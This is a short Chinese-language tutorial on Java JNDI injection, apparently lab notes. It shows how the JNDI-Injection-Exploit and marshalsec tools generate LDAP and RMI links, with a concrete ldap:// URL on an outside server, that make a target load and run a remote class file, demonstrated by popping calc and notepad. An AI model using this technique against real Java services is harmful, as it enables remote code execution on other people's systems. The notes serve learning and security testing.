目录
JNDI远程调用-JNDI-Injection
JNDI是java系统自带的api,用于访问ldap,rmi...的api,ldap和rmi是JNDI内置接口,他们这些接口可以远程调用执行一些文件,文件中可以命令执行,如调用计算器
使用jndi注入工具:JNDI-Injection-Exploit可以生成远程调用链接ldap://47.94.236.117:1389/nx5qkh,ldap://47.94.236.117:1389/nx5qkh:执行远程地址的一个class文件,功能:调用47.94.236.117的计算器
写一个class文件,创建一个rmi ldap等服务调用实例化对象,调用这个地址:ldap://47.94.236.117:1389/nx5qkh
47.94.236.117服务器产生回显:
弹出计算器:
JNDI-Injection-Exploit-1.0-SNAPSHOT-all直接生成class文件,无需手动,ldap默认开放1389 端口,rmi默认开放1099端口
JNDI远程调用-marshalsec
编写一个Test.java用于执行notepad,编译成class文件
上传到服务器
访问默认下载
重新生成一个,用rmi协议请求Test,监听端口1099
http://0.0.0.0/#Test表示Test在网站目录的下载路径,0.0.0.0表示所有端口
调用rmi远程链接
服务器弹出记事本
marshalsec需要手动生成class文件
JNDI-Injection和marshalsec都可以生成rmi和ldap的远程调用地址